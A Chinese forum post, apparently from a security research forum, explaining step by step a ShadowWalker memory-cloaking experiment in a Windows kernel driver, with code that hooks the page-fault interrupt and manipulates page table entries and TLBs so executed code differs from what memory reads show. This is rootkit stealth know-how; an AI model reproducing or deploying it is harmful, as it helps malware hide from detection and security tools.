ShadowWalker内存伪装详细过程
一。准备
提问
http://bbs.pediy.com/showthread.php?t=183520
ShadowWalker原理,部分代码参照这里
http://bbs.pediy.com/showthread.php?t=56689
内存分页机制
http://bbs.pediy.com/showthread.php?t=135274
内存分页机制
http://bbs.pediy.com/showthread.php?t=181016
二。目的
这是需要伪装的代码,需要用新的code_seg进行伪装
#pragma code_seg(".target")
#pragma optimize( "", off )
VOID target()
{
int sum=0x77;
if(sum==0)
{
_asm _emit(0xc3)//返回指令Retn
}
_asm
{
mov eax,0x88
mov sum,eax
}
DbgPrint("sum=%x g_iTimes=%d g_iTimes1=%d g_iTimes2=%d g_iTimes3=%d\n",sum,g_iTimes,g_iTimes1,g_iTimes2,g_iTimes3);
}
#pragma optimize( "", on )
#pragma code_seg()
//每十秒调用执行target
VOID OnTimer(
IN PDEVICE_OBJECT DeviceObject,
IN PVOID Context)
{
if(g_iTimes%10==9)
{
target();
}
g_iTimes++;
}
//可以读取target的内存
NTSTATUS HelloDDKDispatchRoutin(IN PDEVICE_OBJECT pDevObj,
IN PIRP pIrp)
{
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
UCHAR type = stack->MajorFunction;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
if(type==IRP_MJ_READ)
{
BYTE buf[5]={0};
memcpy(buf,(PBYTE)g_pExecutePage+0x14,5);
DbgPrint("buf %x %x %x %x %x\n",buf[0],buf[1],buf[2],buf[3],buf[4]);
}
return STATUS_SUCCESS;
}
在没有内存伪装时是正常输出
我的目的是
让汇编执行时是mov eax,0x88 对应内存
B8 88 00 00 00
但是HelloDDKDispatchRoutin查看时是mov eax,0x99999999 对应内存
B8 99 99 99 99
三。ShadowWalker
首先进行中断0X0EHook,并修改内存页为不存在
DWORD nSetThreadRVA=GetAPIAddr((PVOID)g_pNtKernelBaseAddr,"KeSetAffinityThread");
g_pFunKeSetAffinityThread=(DWORD)g_pNtKernelBaseAddr+nSetThreadRVA;
DbgPrint("GsDriverEntry NumberOfProcessors=%d pFunSetThread=0x%x \n",KeNumberProcessors,g_pFunKeSetAffinityThread);
//Hook IDT
int i=1;
for(i=1;i<=KeNumberProcessors;i++)
{
((KeSetAffinityThread)((PVOID)g_pFunKeSetAffinityThread))( KeGetCurrentThread(), i);//绑定CPU
HookTrap0E();
}
PBYTE pHookAddr=(PBYTE)target;
if(MmIsAddressValid(pHookAddr))
{
PVOID pReadWriteView = AllocateViewOfPage( (PBYTE)pHookAddr);
if(pReadWriteView)
{
HookMemoryPage( (PBYTE)pHookAddr, pReadWriteView, (PBYTE)target+0x13);
}
int i=1;
for(i=1;i<=KeNumberProcessors;i++)
{
((KeSetAffinityThread)((PVOID)g_pFunKeSetAffinityThread))( KeGetCurrentThread(), i);//绑定CPU
__asm invlpg g_pExecutePage
}
}
这里是生成读操作时,需要伪装的内存
PVOID AllocateViewOfPage( PVOID VirtualAddress)
{
if(g_pMDL || g_pNewPage)
{
return NULL;
}
PVOID pPage = RoundDownToPageBoundary( VirtualAddress );
DWORD offset=(DWORD)VirtualAddress-(DWORD)pPage+0x14;
if( IsInLargePage( VirtualAddress ) )
{
PHYSICAL_ADDRESS HighestAddress = { HIGHEST_ADDRESS_IN_LARGE_PAGE_RANGE, 0 };
g_pNewPage = ExAllocatePoolWithTag( PagedPool, 2*LARGE_PAGE_SIZE, 'SWHK');
if( g_pNewPage != NULL)
{
g_pNewPage = RoundUpToPageBoundary( g_pNewPage );
RtlCopyMemory( g_pNewPage, pPage, LARGE_PAGE_SIZE ); //copy the contents of the page containing VirtualAddress to the new page
RtlCopyMemory( (PVOID)((DWORD)g_pNewPage+offset), "\xB8\x99\x99\x99\x99", 5 );//把内存修改为\xB8\x99\x99\x99\x99
}
return g_pNewPage;
}//end if
else
{
g_pNewPage = ExAllocatePoolWithTag( PagedPool, PAGE_SIZE, 'SWHK');
g_pMDL = IoAllocateMdl( g_pNewPage, PAGE_SIZE, FALSE, FALSE, NULL);
MmProbeAndLockPages( g_pMDL, KernelMode, IoReadAccess);
if( g_pNewPage != NULL)
{
RtlCopyMemory( g_pNewPage, pPage, PAGE_SIZE ); //copy the contents of the page containing VirtualAddress to the new page
RtlCopyMemory( (PVOID)((DWORD)g_pNewPage+offset), "\xB8\x99\x99\x99\x99", 5 ); //把内存修改为\xB8\x99\x99\x99\x99
}
return g_pNewPage;
}//end else
}//end AllocateReadWriteViewOfPage
最主要部分,挂钩内存缺页处理函数
#pragma LOCKEDCODE
void __declspec (naked) my_interrupt_hook(void)
{
//__asm jmp old_ISR_pointer
__asm
{
pushad
mov eax,cr2
push eax
mov edx, dword ptr [esp+0x24] //PageFault.ErrorCode
test edx, 1 //不是缺页错误
jne PassDown
mov eax,cr2 //faulting virtual address
////////////////////////////////////////
//判断是否是Hook掉的page
/////////////////////////////////////////
mov ebx, g_pExecutePage
and ebx, 0xFFFFF000
and eax, 0xFFFFF000
cmp eax, ebx
mov eax, cr2
jnz PassDown //不是,传下去
///////////////////////////////////////
//下面处理Hook掉的页面了
/////////////////////////////////////
mov eax, cr2
push eax
//*************************GetPteAddress***********************************************
//push eax
//call GetPteAddress
//
mov edx, eax
cli //disable interrupts
mov esi, PROCESS_PAGE_DIR_BASE
shr eax, 22
lea eax, [esi + eax*4] //pointer to page directory entry (PDE)
test [eax], 0x80
jnz Done //it's a large page
mov esi, PROCESS_PAGE_TABLE_BASE
shr edx, 12
lea eax, [esi + edx*4] //pointer to page table entry (PTE)
//NOTE: There is not a page table for large pages because the PTE's are contained in the page directory.
Done:
sti //reenable interrupts
//*************************GetPteAddress***********************************************
mov ebx, eax //ebx = pPte
pop eax
mov cr2,eax
cmp [esp+0x28], eax //判断是执行出错还是读写时出错?
je LoadITLB
//判断是否是Hook的那些字节
cmp eax, g_pExecutePage
jb LoadDTLB
sub eax, g_pExecutePage
//cmp eax, g_ulHookCodeLen
cmp eax, 50
jg LoadDTLB
jmp LoadFakeFrame
LoadITLB:
////////////////////////////////
//是一次执行操作,所以Load ITLB
///////////////////////////////
cli
or dword ptr [ebx], 0x01 //标志页面为存在
call g_pfnCallIntoHookedPage //通过调用一下那个页面内的代码,装载ITLB
and dword ptr [ebx], 0xFFFFFFFE //重新标记为不存在
push eax
mov eax,g_iTimes1
add eax,1
mov g_iTimes1,eax
pop eax
//sti
jmp ReturnWithoutPassdown
////////////////////////////////
// 这是读写造成的异常,并且不在我们要隐藏的代码范围内,Load DTLB
///////////////////////////////
LoadDTLB:
cli
mov eax,cr2
or dword ptr [ebx], 0x01 //mark the page present
mov eax, dword ptr [eax] //load the DTLB
and dword ptr [ebx], 0xFFFFFFFE //重新标记为不存在
push eax
mov eax,g_iTimes2
add eax,1
mov g_iTimes2,eax
pop eax
//sti
jmp ReturnWithoutPassdown
/////////////////////////////////
//需要隐藏这段代码,所以Load伪装的页面
/////////////////////////////////
LoadFakeFrame:
mov eax, cr2
mov esi, g_pReadWritePTE
mov ecx, dword ptr [esi] //ecx = PTE of the
//read / write page
//把页面替换为假的
mov edi, [ebx]
and edi, 0x00000FFF //preserve the lower 12 bits of the
//faulting page's PTE
and ecx, 0xFFFFF000 //isolate the physical address in
//the "fake" page's PTE
or ecx, edi
mov edx, [ebx] //save the old PTE so we can replace it
cli
mov [ebx], ecx //replace the faulting page's phys frame
//address w/ the fake one
//load DTLB
or dword ptr [ebx], 0x01 //标志为存在
mov eax, cr2 //faulting virtual address
mov eax, dword ptr[eax] //访问一次页面的数据,Load DTLB
and dword ptr [ebx], 0xFFFFFFFE //重新标记为不存在
push eax
mov eax,g_iTimes3
add eax,1
mov g_iTimes3,eax
pop eax
//Finally, restore the original PTE
mov [ebx], edx
//sti
ReturnWithoutPassDown:
sti
pop eax
mov cr2,eax
popad
add esp,4
iretd
PassDown:
pop eax
mov cr2,eax
popad
jmp g_old_ISR_pointer
}//end asm
}
四。结果
内存已经伪装成功了
五。注意
1.测试只能用于intel CPU,虚拟机好像不行,我试过N次,都蓝屏,vmware好像不支持tlbs
2.只能用于R0的伪装,R3的好像不行,大神说的,我自己也试过
有没有办法让R3也能用ShadowWalker啊??求解
我自己试过在R3下,能短时间的伪装,很快就蓝屏了
六。完整测试代码
应该可以直接用的
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。